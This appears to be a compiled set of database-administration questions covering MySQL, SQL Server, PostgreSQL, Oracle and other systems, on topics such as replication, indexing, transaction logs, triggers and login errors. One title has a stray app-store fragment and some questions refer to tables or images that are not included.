texts: How can instructors add users to their classes and at the same time not know all of the institution users?

texts:
I have the following entities

Institutions - with institutionID and userID
Institution Users - with institutionUserID
Institution Classes - with institutionUserID, institutionID
Institution Class Users - with fields classID, institutionUserID and isInstructor

I'd like the user responsible (instructor) for one Institution Class to manage its Institution Class Users. By managing I mean to be able to even add a new Institution Class Users. At the same time, I wouldn't want this teacher to know all of the Institution Users.
What comes to my mind is the usage of two other entities: Institution Departments and Institution Department Users. This would enable to shrink the list of available users for that considering that classes would then be held by the department - Institution Classes and Institution Class Users would then change to Institution Department Class and Institution Department Class Users.
How to proceed in this scenario?


texts: Can I stop replication of create/drop index statement on one slave of Mysql 5.6?

texts:
I have this cluster where master and slave uses same indexes but one of the slaves has some extra indexes (large machine which runs some analytics queries).

So I have to maintain two sets of indexes. But this usually creates a problem when I want to recreate an index on master that was already present on the analytics slave.

Can I stop replication of create/drop index statements on one of the slaves so that I can manage them manually?


texts:
I have a small xEvent that is sending the results as .xel to an event_file in G:\XEvents and I want to explore the data with SSMS.  I have been looking for a solution and found several posts about reading the XML created by ring buffers.  But I can't get it to work on my event_file.

I read Jes Schultz Borland's post How to Query Extended Events Target XML but It is not working for me.  I have not done anything significant with XML, and when I open the event_file with word, it does not look like XML.

I can display it by using SSMS; > Instance > Management > Extended Events > Sessions > [MyEvent] > Package > View Target data, but I can't really query it.


texts: How to get the latest LastUpdate ,LocReqNo of each locationID of MySQL queryautoricardo.ch - Fahrzeugmarkt – Apps bei Google Play

texts:
As I want to retrieve the LastUpdate , LocReqNo of every location.
I mean to say that in the mention table there is 3 locationId , i.e., A1,A2,A3.

I want the output of the above table as follows:

I have gone through How to get latest 2 records of each group , but unable to get my expected result.

Any suggestion or help will be appreciated.


texts: Find all records where table name matches partial string A and column name matches exact string B

texts:
I have a MySQL database with hundreds of tables. e.g.

prefix_01_site_links
prefix_01_site_info
prefix_01_site_comments
prefix_02_site_links
prefix_02_site_info
prefix_02_site_comments

Inside all the site_info tables, are several columns e.g.

site_options
option_data

I need to find all the records where site_options exactly matches "site_url" and option_data partially matches "http:// and replace it with "https://"

That's easy enough but I don't want to go through each table because it is huge. Is there a way to first narrow the search down to only search within those tables with names partially matching  "site_info"?


texts: How to lower "Created_tmp_disk_tables" - temporary tables count created on DISK?

texts:
I have a ubuntu, mysql 5.6 DB that is heavy used by thousands of users. After 10 days of running I have this values:

| Created_tmp_disk_tables | 894170 |
| Created_tmp_files       | 26068  |
| Created_tmp_tables      | 914511 |

My config values are:

| tmp_table_size | 268435456 |
| max_heap_table_size | 1073741824 |

when I had tmp_table_size = 16MB and max_heap_table_size=16MB it was the same. Than I changed it to tmp_table_size = 256MB and max_heap_table_size = 1GB but Created_tmp_disk_tables did not stop growing. The rate is exactly the same.

I have 26GB heap. All tables are INNODB.

What am I missing?

Thanks


texts: SQL alwayson manual Failover Cluster failed because a duplicate IP address detected

texts:
When I manually tried to make a failover I got the following errors: "SQL always on Cluster IP address resource listener cannot be brought online because a duplicate IP address was detected on the network. Please ensure all IP addresses are unique. event 1049"

As a result, all the resources of the Cluster\Listener\witness were in a failure state and could not be moved back to online state.

When I aborted the failover attempts Everything returned to normal.

version: SQL SERVER 2016 SP2 Enterprise edition 2 nodes (Primary and secondary)

appreciated to receive your response and suggestions

Thanks and Regards

Erez Hasman


texts: What is right datatype with numbers along with '-'

texts:
I know it might sound silly, I have to look up MySQL manual reference and another MySQL forum. as I could not find what is right datatype for numbers with '-' e.g

'405-6444235-1711500'

I'm not sure this number datatype like TINYINT, SMALLINT, MEDIUMINT INT and BIGINT will not working on this.
I'm not sure if varchar is a right choice for this.

So Any Suggest what is the right choice for this before I build a new table and Data await to upload it.


texts: Renaming a column in a materialized view with an unknown name

texts:
I have a materialized view with an unknown column name, and I need to give that column a name. I can't just recreate the view because it took a long time to create.

dba=# \d temp_name_relationships;
Materialized view "temp_name_relationships"
  Column  |       Type       | Modifiers
----------+------------------+-----------
 id       | bigint           |
 source   | integer          |
 name1    | text             |
 name2    | text             |
 ?column? | double precision |
 sum      | bigint           |

That ?column? in there is the offender. How do I rename it? I've tried:

ALTER MATERIALIZED VIEW temp_name_relationships RENAME COLUMN ?column? TO score;
ERROR:  syntax error at or near "?"


texts: What to do with duplicate lookup information

texts:
I have multiple databases that I want to store in one data warehouse database. I am wondering how I design the import process to handle multiple lookup tables.

For example, say I have 5 databases all with the lookup table CustomerState. In one datatabse it could look like this:

In another database it could look like this:

How should I handle this in my enterprise layer of my DW database? Do I add a SourceSystemId to the lookup table, maybe something like this:

And then use the pkyCustomerStateId in my Customer table rather than the CustomerStateId?


texts:
I've restored a database in my Dev environment (SQL version 14.0.1000.169) and I'm using the wizard to create a "Availability Groups", when I try to select the database, I get a pop up "This database is encrypted by database master key, you need to provide valid password when adding it to the availability group".

So I ran the script below, which returned 1 row.

SELECT * FROM sys.symmetric_keys WHERE symmetric_key_id = 101

which I assume means that there is a master key created, and from what I gathered from the web, you can see what databases use the master key with the following script:

SELECT d.is_master_key_encrypted_by_server FROM sys.databases AS d where d.name = 'MyDB'

which returns 0 for my database.

So, of course I ran:
drop master key;

The question is: What's the proper way to see if the master key is needed (if anything is using it)? How do test I if broke something.


texts: What is the optimal solution for storing real time time-series in MariaDB / MySQL?

texts:
Use case: A measurement creates a given number of images. For each image we need to store a small set of quality indicators (floats, doubles) along with an image integer [1 ...N], a timestamp and one or two foreign key values. This should then be plotted in "real time" in a web application (PHP) for users to evaluate.

Each web client polls the database every 5s. Storage + retrieval of each set of quality indicators should ideally take < 2s (approximately). In a worst case scenario there can be ~30 simultaneous web clients polling and around 10 measurements could be writing simultaneously, leading to write bursts of approx. 1000 sets of quality indicators per second.

In a programming language, this sort of data would probably be stored in arrays or lists. As I'm not aware of anything similar in the MariaDB / MySQL world I'm just using a regular InnoDB table with a column for each of the values mentioned above. This already has 90+ million rows and is expected to grow faster in the coming months.

Is InnoDB overall the best storage engine for this, or should I consider others? Is it best practice to archive data after a while, perhaps once all the measurements' images have been processed? Would it help to enable compression, or would that have very negative impacts on performance?


texts:
I was wondering if we can query/obtain the high-water mark of number of sessions or connections reached in a Postgres database. Is there a view or command that can provide this information.  The pg_stat_database shows the current number of connections, but not the high-water mark a database had reached.

Thanks in advance.


texts: how to disable access to mongo shell to anonymous users?

texts:
i have created users in mongodb . one user among them is admin. but when i do
$mongo
it is allowing me to connect to mongo shell with out me specifiying user and password. what should i do to prevent access to mongo shell for all with out user login? please help


texts: How to configure MS SQL log on so that it can be used by another program?

texts:
Problem on MS SQL Server

Background:
I am about to install an application that asks already in the installation phase about MS SQL database to create its DB inside it. There are options of Windows Authentication and Server Authentication as methods to log on.

Question:
My question is that what settings should I have on Sql Server Configuration Manager to be able to connect my installed program into it?


texts: Oracle to PostgreSQL Migration Changed Data Capture

texts:
We are currently migrating our application back end from Oracle to Postgres and my concern/query is that in case we face issues post migration, in a worst case scenario we may need to revert back to Oracle until the same is fixed to avoid major downtime. For that I want to take only the changed/modified data and then restore the same on Oracle.
I was looking into CDC tools like Debezium, but since I have HA Patroni+PostgreSQL (physical replication) already in place I'm not sure whether CDC could help me with my requirement.
Looking for some suggestions and inputs on how to perform this operation.


texts: Query that marries data between two databases

texts:
Database 1 is the master database where data on all domains in our client's industry are stored

Database 2 (or Database N) are the application specific databases of our client. (e.g. Application ABC would have Database ABC, Application DEF would have Database DEF etc.). Common data between applications are stored in Database 1, the master database.

The issue is, for example we have Application ABC. Lets say doing transactions via that application updates data records in tables of Database 1. Doing that also inserts records on Database 2. A record in Database 1 would now have counterpart records of it in Database 2. Now when we do a read of those records we would need a query in both Database 1 and Database 2 then marry both result set programmatically in our application's back end. As queries become more complex and records grow in size, performance issues start to happen when doing reads. Does anyone know the most efficient way to solve this kind of problem? or this this say that we need to re-architect our data?

Having a DB Link is not an option now this that could further degrade performance. Our database by the way is Oracle 12c


texts: How to set up foreign key constraints referencing more than one table

texts:
I have a simple structure where I am not sure how to handle some of the issues that pop up.

There are 4 tables: Reports, ReportParameters, ScheduledReports, ScheduledReportParameters.

ReportParameters lists the needed parameters for the reports.

ScheduledReports is a scheduled instance of a report. (Report X to run on Thursday as an example).

ScheduledReportParameters is the list of parameters and their values to use when this instance runs.

Basic layout:

Reports:
ReportID (PK)

ReportParameters:
ReportParameterID (PK)
ReportID (FK to Reports)
Name

ScheduledReports:
ScheduledReportID (PK)
ReportID (FK to reports)

ScheduledReportParameters:
ScheduledReportID (FK to ScheduledReports)
ReportParameterID (FK to ReportParameters)
Value
(PK is formed by the ScheduledReportID and ReportParameterID)

This has the issue where the parameter associated with a scheduled report doesn't have to agree with what the base report actually expects, it could be to a different base report entirely and not the report the scheduled report is based off of.

So, I thought I could add the ReportID to the ScheduledReportParameters, but that doesn't help as there wouldn't be anything enforcing that the ReportID there agrees with what the ScheduledReport is based off of.

Am I missing something simple? Or, is this trickier than I had thought?

Having a scheduled report with parameters that don't actually go with the report isn't a big deal to me as when I pull them, the joins will automatically filter out any potential bad ones but I would like to prevent bad data going in the first place. I know I could use triggers to do this, but that can get ugly quickly.


texts: how to create invalid utf-8 characters in MySQL

texts:
I'm trying to test some application level ruby methods and how they handle invalid utf-8. I'm trying something like to get invalid utf-8:

mysql> update items set header=UNHEX('4D2AFF') where id=10938;
ERROR 1366 (HY000): Incorrect string value: '\xFF' for column 'header' at row 1

Is there a way to update a varchar(255) to invalid utf-8?


texts: SQL Server 2008 - SIMPLE database log file is HUGE relative to the actual DB?

texts:
So... I'm not a SQL Server DBA but was asked to look at a customer's situation where they have a 2GB database that has a 60GB transaction log. I've read up on a whole lot of articles on the web (Aaron Bertrand's information comes up frequently) but am still unable to explain the reason or the fix.

The database is in SIMPLE recovery mode. The log file has 0 available space.  I've tried to shrink it and only reclaimed ~6GB -- I know this is bad but the customer is at 1.5GB of free space on the drive so they're concerned about the other DBs on the instance.

I know the application does a huge number of imports but not sure if that's the reason for the huge log size and performs replication.  I ran looked at the sys.databases information:

[REDACTED-DBNAME]   46  NULL    0x01    2014-04-30 17:43:52.713 100
SQL_Latin1_General_CP1_CI_AS    0   MULTI_USER  0   0   0   0   ONLINE  0   0   0   0
OFF 0   3   SIMPLE  2   CHECKSUM    0   1   0   0   0   0   0   0   0   0   0   0   0
0   1   0   0   0   0   1   0   0   0   0   {REDACTED-GUID} 0   6
REPLICATION 0   0   0   0

The only different/possibly-interesting information for this DB (relative to the others on this instance):

is_auto_create_stats_on = 1, where almost all other DBs are 0
is_published = 1, where almost all other DBs are 0
log_reuse_wait = 6, where almost all other DBs are 0
log_reuse_wait_desc = REPLICATION

The logs file was set to 10% growth with a max size of 2GB but it's long since blown that out of the water. I reduced the 10% auto-growth size down to 25MB but left the 2GB -- even though the max size apparently has no effect.

A full backup was performed in troubleshooting and it made no effective change to the log file size.

A lot of what I seem to have read indicates that logs grow because of applications or operations and that you should just let it happen but a 2GB database and a 60GB log file seems absurd?

Or are my minimal SQL skills just incorrect in thinking this is bad?  Any guidance would be greatly appreciated.


texts: SQL Server 2014 user login keeps being dropped

texts: I have an issue where I have a user login which keeps being dropped randomly without any trace in the error log. How do I find out why it's behaving as such or who is doing this, even though I am sure it's not a person who is doing this. Thanks


texts: SQL: Selecting from single column as multiple columns, dealing with 'missing' entries?

texts:
Data format in table of interest:

  id (Foreign Key), field_id (numbers fields within each id, from 0),
  field (primary identifier of type of data stored in field_data),
  subfield (secondary identifier), field_data

Goal:

I want to pull field_data into different columns based on values of field/subfield then output them to .csv or some other Stata compatible format. I had originally tried doing this with Python with the data in its original XML format but 20 hours in, decided SQL would work better. (Newbie problems). Thanks to this topic, I am nearly successful!

Problem:

However, more than occasionally, an id will have many field_data values satisfying the same conditions. My query only outputs one of these. For example, a field = 650 for an observation with id 4 will have two subjects associated with it: Biology and Agriculture but my query only returns Biology in the subjects field. The only distinguishing tag for the two subjects is the field_id (field_id = 12 for Biology, for example and = 13 for Agriculture). I cannot simply add a field_id qualifier though because within another record/id/row, these field numbers may or may not still correspond to subject depending on how many field types come before. Additionally, the subject column is not the only column where I will run into this issue.

I suspect this has something to do with using the MAX function in the presented solution. However, I am unsure what else to use. Ideally, I could also get each additional subject into its own column too (subject1, subject2, etc).

For reference, I have been using SQLite.

Thank you for your time!

Script: (adjusted from solution in provided link)

SELECT
  id,
  MAX(CASE field WHEN '100' THEN field_data END) AS author,
  MAX(CASE field WHEN '791' THEN field_data END) AS degree,
  MAX(CASE field WHEN '792' THEN field_data END) AS year_awarded,
  MAX(CASE field WHEN '710' THEN field_data END) AS school,
  MAX(CASE field WHEN '590' THEN field_data END) AS schoolcode,
  MAX(CASE field WHEN '650' THEN field_data END) AS subjects,
  etc. ...
FROM
  MARC_FIELDS
WHERE
  field IN ('100', '791', '792', '710', '590', '650', etc., ...)
GROUP BY
  id;


texts: Explain shows index doesnt working but i have an index

texts:
The query in MySQL is:

EXPLAIN EXTENDED
SELECT id,
       username,
       name,
       last_name,
       IF(friend IS NOT NULL,1,0) as friend,
       activated,
       if(private=1 AND IF(friend IS NOT NULL,1,0)=1,0,private) as private
FROM users
LEFT JOIN ( SELECT CASE WHEN sender='asdf10e84b5fd1b1'
                        THEN receiver
                        WHEN receiver='asdf10e84b5fd1b1'
                        THEN sender
                        END AS friend
            FROM `friendship`
            WHERE (   sender='asdf10e84b5fd1b1'
                   OR receiver='asdf10e84b5fd1b1')
              and accepted=1 ) as f ON friend=id
WHERE activated=1
ORDER BY friend DESC LIMIT 100

And the EXPLAIN EXTENDED says this:

So in the users table i have this indexes

And the great problem and why i'm using indexes in this problem is because the query is large and the time is 4 sec so when 10,000 users are checking the same the query is slow x10000.

Help me pls
I forgot. The index for users as showed in the first image arent working for this query. You know what im doing bad?

UPDATE:

THE CREATE TABLE FOR users is:

CREATE TABLE `users` (
  `id` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `username` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `email` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `password` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL,
  `name` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `last_name` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `photo` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `birth_date` date NOT NULL,
  `country_code` varchar(10) COLLATE utf8mb4_unicode_ci NOT NULL,
  `phone` varchar(20) COLLATE utf8mb4_unicode_ci NOT NULL,
  `verification_code` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `activated` tinyint(1) NOT NULL DEFAULT 0,
  `access_token` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL,
  `notifications` int(11) NOT NULL,
  `private` tinyint(1) NOT NULL DEFAULT 0,
  `blue_keys` int(11) NOT NULL DEFAULT 0,
  `orange_keys` int(11) NOT NULL DEFAULT 0,
  `playID` text COLLATE utf8mb4_unicode_ci DEFAULT NULL,
  `languaje` varchar(2) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT 'es',
  `first_login` tinyint(1) NOT NULL,
  `tutos_viewed` varchar(250) COLLATE utf8mb4_unicode_ci NOT NULL DEFAULT '',
  PRIMARY KEY (`id`),
  KEY `usuarioIndice` (`username`),
  KEY `tutosViewed_Users` (`tutos_viewed`),
  KEY `userIndex` (`username`)
) ENGINE=MyISAM DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci

And the SHOW CREATE TABLE for friendship is

CREATE TABLE `friendship` (
  `id` int(11) NOT NULL AUTO_INCREMENT,
  `sender` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL,
  `receiver` varchar(200) COLLATE utf8mb4_unicode_ci NOT NULL,
  `accepted` tinyint(1) NOT NULL DEFAULT 0,
  `blocked` int(11) NOT NULL,
  PRIMARY KEY (`id`),
  KEY `friendshipIndex` (`sender`),
  KEY `friendshipBlockedIndice` (`blocked`)
) ENGINE=InnoDB AUTO_INCREMENT=2132 DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci


texts: Standard ways to return SQL Server database to a specific state

texts:
What are the most efficient ways to save the exact state of a SQL server database and then be able to bring it back to that state at will?

I am testing code performance against a database and each test alters it so I would like to be able to (as quickly and easily as possible) return it back to its beginning state each time I want to test performance again. I expect to be doing a lot of this.


texts: Maintenance Plan Backups failing since KB4013106 installed

texts:
"Hotfix 4422 for SQL Server 2016 (KB4013106)" installed for our installation of SQL Server 2016 over the weekend.  Since then, all our backups are failing.

The backups are done via Maintenance Plans.

Anyone else experiencing the same issue?

  Source: Backup DbNameHere (Logs) Description: The Execute method on the
  task returned error code 0x80131501 (Failed to connect to server
  (local).). The Execute method must succeed, and indicate the result
  using an "out" parameter.  End Error  Warning: 2017-04-17 08:50:01.12
  Code: 0x80019002     Source: Daytime backups      Description: SSIS
  Warning Code DTS_W_MAXIMUMERRORCOUNTREACHED.  The Execution method
  succeeded, but the number of errors raised (2) reached the maximum
  allowed (1); resulting in failure. This occurs when the number of
  errors reaches the number specified in MaximumErrorCount. Change the
  MaximumErrorCount or fix the errors.  End Warning Error: 2017-04-17
  08:50:01.15 Code: 0xC0024104


texts: Heap-Organized Tables and 'Heap' the Data Structure

texts:
AFAIK, heap-organized tables, which are default in Oracle and PostgreSQL, are just tables without any clustered index.

I'm wondering where the term 'heap' got its name. It's just a pile of data, not related to 'Heap' the data structure, right? Just another confusing name that made me search everywhere why databases use 'Heap'.

Is it from 'Heap' the pool of memory above stack? Or is there any historical / academical backgrounds?


texts: will subscriber be available, if publisher or distributor is down?

texts: We have to set up replication between two SQL Server databases residing on two different servers connected to the same domain. Our concern is that if the publisher is down, or distribution database is down, will it by any way affect the availability of subscription database? Here I mean to say if server on which distribution resides goes off while it is updating the tables on subscriber will subscription database tables be accessible? Does distributor acquire a lock on subscriber for updating the rows? We are planning to set up transactional replication.


texts:
Can anyone help me transforming these 2 SQL statements into 1?

$query2 = "SELECT DISTINCT `UID` FROM `ratings`";
$query3 = "SELECT `RID`,`rating` FROM `ratings` WHERE `UID` = $uid";

original php code:

$arrayAux=array();
$query2 = "SELECT DISTINCT `UID` FROM `ratings`";

$result2 = mysql_query($query2);

if(!$result2) return $arrayAux;

    while ($row2=mysql_fetch_array($result2,MYSQL_ASSOC))
    {
    $array2=array();
    $uid=$row2['UID'];

            $query3 = "SELECT `RID`,`rating` FROM `ratings` WHERE `UID` = $uid";
            $result3 = mysql_query($query3);
            if(!$result3) return $arrayAux;
            while ($row3=mysql_fetch_array($result3,MYSQL_ASSOC))
            {
                $rid=$row3['RID'];
                $rating=$row3['rating'];

                $array2[$rid] = $rating;
                }

    array_push($arrayAux, $array2);
        }
return $arrayAux;

Thank you!


texts: How to get number of begin transactions in PostgreSQL?

texts:
In Microsoft MSSQL, SELECT @@TRANCOUNT method is available to get number of BEGIN TRANSACTION statements.
What is the equivalent command in PostgreSQL?


texts: ORA-01017: invalid username/password; logon denied

texts:
I've come across the abnormal situation, and can't understand what happens.

I am connecting databases using PL/SQL Developer 8.0.4.1514(I've also tried v7,but same) . Sometimes(When I am trying to log on, or when I open another session, or when I am trying to run query in previously opened session) this error message appears

Sometimes after 3 tries error resolves(using the same password on each try), sometimes it needs one try to resolve...

What may be the reason?

Thank you ...


texts: Why does using a variable make a difference in performance?

texts:
I have a table that constantly doing insert, and I am trying to run a delete script to remove old record.

The delete script looks like this:

DECLARE @StarDate DATETIME = '2013-01-13';
DECLARE @DeleteTop Int = 2000

WHILE @@ROWCOUNT <> 0
BEGIN
    DELETE TOP (@DeleteTop) FROM VehicleLocation
    WHERE
    MessageGenerationDate < @StarDate
    AND (NOT EXISTS
    (SELECT NULL FROM VehicleLocationTP
    WHERE VehicleLocationTP.VehicleLocationKey = VehicleLocation.VehicleLocationKey)
    AND NOT EXISTS
    (SELECT NULL FROM VehicleLocationGF WHERE VehicleLocationGF.VehicleLocationKey = VehicleLocation.VehicleLocationKey)
    AND NOT EXISTS
    (SELECT NULL FROM VehicleLocationInpt WHERE VehicleLocationInpt.VehicleLocationKey = VehicleLocation.VehicleLocationKey)
    AND NOT EXISTS
    (SELECT NULL FROM VehicleLocationFare WHERE VehicleLocationFare.VehicleLocationKey = VehicleLocation.VehicleLocationKey)
    AND NOT EXISTS
    (SELECT NULL FROM VehicleLocationOBD WHERE VehicleLocationOBD.VehicleLocationKey = VehicleLocation.VehicleLocationKey)
    AND NOT EXISTS
    (SELECT NULL FROM VehicleLocationAPC WHERE VehicleLocationAPC.VehicleLocationKey = VehicleLocation.VehicleLocationKey));
END;

When running this script, it causing LCK_M_IX wait type on the insert, causing the insert being blocked.

However, if I remove the variables, and simply go for

DELETE TOP (2000) FROM VehicleLocation...

I will no longer see the LCK_M_IX wait type.

What kind of optimization SQL-Server was trying to perform? Is it better to avoid using variables and instead specific the value explicit?

This question is related to a similar question: https://stackoverflow.com/questions/2293772/t-sql-query-performance-puzzle-why-does-using-a-variable-make-a-difference


texts: Export SCHEMAS and TABLES at the same time

texts:
My task is export schemas sch1, sch2

Also need to export tablespaces ts88, ts89 from schema sch3

How can I do it as one operation?
Because, if I run different operations :

DIRECTORY=dir
ESTIMATE_ONLY=Y
LOGFILE=file.log
SCHEMAS=sch1, sch2
PARALLEL=4

and

DIRECTORY=dir
ESTIMATE_ONLY=Y
LOGFILE=file.log
TABLES=sch3.ts88, sch3.ts89
PARALLEL=4

it work fine.

But when I try something like this :

DIRECTORY=dir
ESTIMATE_ONLY=Y
LOGFILE=file.log
SCHEMAS=sch1, sch2
TABLES=sch3.ts88, sch3.ts89
PARALLEL=4

I got UDE-00010: multiple job modes requested, schema and tables.

As I understood It not possible to run export this way with schemas and tables.

Can I run it with INCLUDE or any other way?
Or it must be 2 different operations?


texts: SSAS- Dimension Attribute needs to be sorted

texts:
In one of my SSAS- cube one attribute(inset_date) which is Date datatype and format is yyyy-mm-dd, when I checked in excel pivots it is not coming in order.
I have changed the order by property from name to key but it is not sorted,
Key  -- insert_date(date)
Name -- insert_date(wchar)
Value-- insert_date(date)
Can you please what other properties I have to change to sort the attribute of a dimension?


texts: Local Postgres Server on Mac Pw Auth Fail

texts:
Disclaimer: I am new to MacOs. Haven't found any useful related question.
After successfully installing postgresql 13.2 via homebrew on MacOs 11.2.1 (BigSur) i run into the following problem:
Use terminal for the command
psql postgres

Prompts user pwd of my standard Mac user account.
Returns:
psql: error: FATAL:  password authentication failed for user "standarduser"

Try:
sudo psql postgres

Now asks standard user pwd and accepts it.
Then asks root user pwd and rejects it with the same error as before:
Returns:
psql: error: FATAL:  password authentication failed for user "root"

What am I missing?


texts:
I'm having a Galera cluster (3 nodes, but currently using only one), MariaDB 10.0 Galera.

However, my ibdata1 is growing HUGE (although using inno_file_per_table=1).

Now i want to "shrink" it by using mysqldump (see here) but this is a really time consuming task for my load (around 12-15 hours, tried it with an equal server)
The database size we are talking about is around 150G (and ibdata1 grew to 163G over years due to unclever decisions). Now my main goal is to reduce downtime, say: Only the time it takes to create the dump.

My idea was to use mysqldump as SST method, but: How long is the cluster blocked? Only the time it takes to create the mysqldump or the time it takes to create + recover on the joiner?

Do you have another idea to do this with a small downtime?


texts: Install Oracle 10.2.0.4 on Windows Server 2012 R2

texts:
I have problem with installing Oracle 10.2.0.4 on Windows Server 2012 R2.

We are running old 10.2.0.4 instance on Windows Server 2008 R2. Now I have to migrate it to the Windows Server 2012 R2. Because the application using the db is old and without support, it is very risky to migrate the db to 11g or 12c. I know that 10.2.0.4 is no longer supported and 2012 R2 is not certified for 10.2.0.4.

I have tried the following steps:

To run the installer I have edited the [Certified Versions] in oraparam.ini:
Windows=5.0,5.1,5.2,6.0,6.1,6.2 (I have also edited refhost.xml the same way)
Then I have run the installer with "run as administrator" (I am logged as domain admin on the server) and I have installed "software only"
Then I have generated the create scripts using dbca and created the instance:

a) mkdir adump, dpdump etc.

b) c:\oracle10\product\10.2.0\db_1\bin\oradim.exe -new -sid test10 -startmode manual

c) c:\oracle10\product\10.2.0\db_1\bin\oradim.exe -edit -sid test10 -startmode auto -srvcstart system

d) c:\oracle10\product\10.2.0\db_1\bin\orapwd.exe file=c:\oracle10\product\10.2.0\db_1\database\PWDtest10.ora password=test10 force=y

e)I have copied the pfile to the c:\oracle10\product\10.2.0\db_1\database
now I want to connect to the idle instance to run startup nomount:

  Edit:

I am trying to connect this way under windows command prompt:

set oracle_home

set oracle_sid

sqlplus / as sysdba

But I get following error:

  ORA-12546: TNS:permission denied

Then I have edited sqlnet.ora and changed sqlnet.authentication_services = (nts) to (none) and tried to logon using password file - no success.

The ORACLE_SID variable is set correctly.


texts: Postgresql Chained Slaves and Slave Promotion

texts:
So I have a setup like Master -> Slave1 -> Slave2. Slave1 replicates from Master and Slave2 replicates from Slave1. If I promote Slave1 to master is it possible for Slave2 to continue replicating from Slave1. This the log I see on Slave2 after I promote Slave1 to master:

2014-06-13 04:28:11 UTC LOG:  replication terminated by primary server
2014-06-13 04:28:11 UTC DETAIL:  End of WAL reached on timeline 3 at 3E/62B2C758.
2014-06-13 04:28:11 UTC LOG:  fetching timeline history file for timeline 4 from primary server
2014-06-13 04:28:11 UTC LOG:  invalid record length at 3E/62B2C758
2014-06-13 04:28:11 UTC LOG:  restarted WAL streaming at 3E/62000000 on timeline 3
2014-06-13 04:28:11 UTC LOG:  replication terminated by primary server
2014-06-13 04:28:11 UTC DETAIL:  End of WAL reached on timeline 3 at 3E/62B2C758.
2014-06-13 04:28:16 UTC LOG:  restarted WAL streaming at 3E/62000000 on timeline 3
2014-06-13 04:28:16 UTC LOG:  replication terminated by primary server


texts: Select the Scheme and Table based on Select result in Postgresql

texts:
I have this query on postgree...

SELECT c.schemaname AS MySchema, a.relname AS MyTable, b.attname AS MyColumn
FROM pg_class a
INNER JOIN pg_attribute b ON (a.relfilenode = b.attrelid)
INNER JOIN pg_tables c ON (a.relname = c.tablename)
GROUP BY c.schemaname, a.relname, a.relfilenode, b.attname
HAVING b.attname ILIKE('%PartNameColumn%');

The Result is:

MySchema, MyTable, MyColumn
Schema0   Table0   PartNameColumn0
Schema0   Table0   PartNameColumn1
Schema0   Table1   PartNameColumn0
Schema0   Table1   PartNameColumn1
Schema1   Table0   PartNameColumn0
Schema1   Table0   PartNameColumn1
Schema1   Table1   PartNameColumn0
Schema1   Table1   PartNameColumn1

Now I want to get some similar, but introducing a value:

SELECT * FROM MySchema.MyTable WHERE MySchema.MyTable.MyColumn = 'MyValue';

I don't know how pass the before select and create a new query according results IN ONLY ONE SENTENCE.

Please tell me how to do it in only one Query?

Thank you.


texts: Stored procedures prefixed with sp_MSdel, sp_MSins, sp_MSupd

texts:
I noticed in the database I manage a bunch of stored procedures for delete, insert, update prefixed with sp_MSdel, sp_MSins and sp_MSupd.

Does anyone know what tool creates these stored procedures?

Here is the source code of the update stored procedure (I replaced the table name and the field names):

create procedure [dbo].[sp_MSupd_dboTableName]
        @c1 int = NULL,
        @c2 nvarchar(50) = NULL,
        @c3 nvarchar(50) = NULL,
        @c4 nvarchar(50) = NULL,
        @c5 nvarchar(50) = NULL,
        @c6 datetime = NULL,
        @c7 datetime = NULL,
        @pkc1 int = NULL,
        @bitmap binary(1)
as
begin
update [dbo].[TableName] set
        [field2] = case substring(@bitmap,1,1) & 2 when 2 then @c2 else [Rid] end,
        [field3] = case substring(@bitmap,1,1) & 4 when 4 then @c3 else [Pid] end,
        [field4] = case substring(@bitmap,1,1) & 8 when 8 then @c4 else [AdUsername] end,
        [field5] = case substring(@bitmap,1,1) & 16 when 16 then @c5 else [FhaEmployeeID] end,
        [field6] = case substring(@bitmap,1,1) & 32 when 32 then @c6 else [AdAccountsRegisteredTimestamp] end,
        [field7] = case substring(@bitmap,1,1) & 64 when 64 then @c7 else [EmployeeIdsRegisteredTimestamp] end
where [id] = @pkc1
if @@rowcount = 0
    if @@microsoftversion>0x07320000
        exec sp_MSreplraiserror 20598
end
GO


texts: Unable to connect to Oracle from SQL Developer

texts:
below is the error

  Status : Failure -Io exception: The Network Adapter could not
  establish the connection

It's connecting from my system but unable to connect from other systems on the network.
ping command is working fine and tnsping is also working. any suggestion and help is very helpful.

problem resolved thanks for the support..It wasn't the database fault...It was an network issue....


texts: What is the best practice for presenting boolean data in an OLAP cube? Should I create a boolean dimension containing two rows, true and false?


texts: Copy a single record to a replica table before update using trigger (Oracle 12c)

texts:
I want to insert a complete record (before updating original record) to a replica table using trigger. Following are the sample tables:

create table customer
(
     cID number,
     cName varchar2(30)
     -- all other attributes will be defined here
);

create table replica
as (select * from customer where 1 = 2);

and trigger:

create or replace trigger update_Trigger
before update on customer
for each row
begin
    if updating then
        insert into replica
            select * from customer where cID = :old.cID;
          -- also done with :new.cID; but not effect...
    end if;
end;

Table is not empty, I have some records in it. But when I run update statement on customer table, I get error:

SQL> UPDATE CUSTOMER
  2  SET CNAME = 'C' WHERE CID = 102;

UPDATE CUSTOMER
       *
ERROR at line 1:
ORA-04091: table DBADMIN.CUSTOMER is mutating, trigger/function may no
ORA-06512: at "DBADMIN.UPDATE_TRIGGER", line 3
ORA-04088: error during execution of trigger 'DBADMIN.UPDATE_TRIGGER'

What is wrong with this? What am I missing? I know this can be done by using :new.attribute and :old.attribute but there many attributes in the original table, I am working on. Is there any short method for getting and inserting the whole row?


texts: What might be the reason for licence compliance violation?

texts:
Much to my surprise we got a licence compliance violation for our DB2 Workgroup Server Edition installation regarding:

~]$ db2licm -g tmp.txt
~]$ cat tmp.txt

 License Compliance Report
 DB2 Workgroup Server Edition   Violation
    Materialized Query Tables
    Multidimensional Clustering Tables

Since we are not using any of these I was kind of puzzled, how can this happen?


texts:
Is there a way to configure the timeout for inactive clients with mysql?

Example:
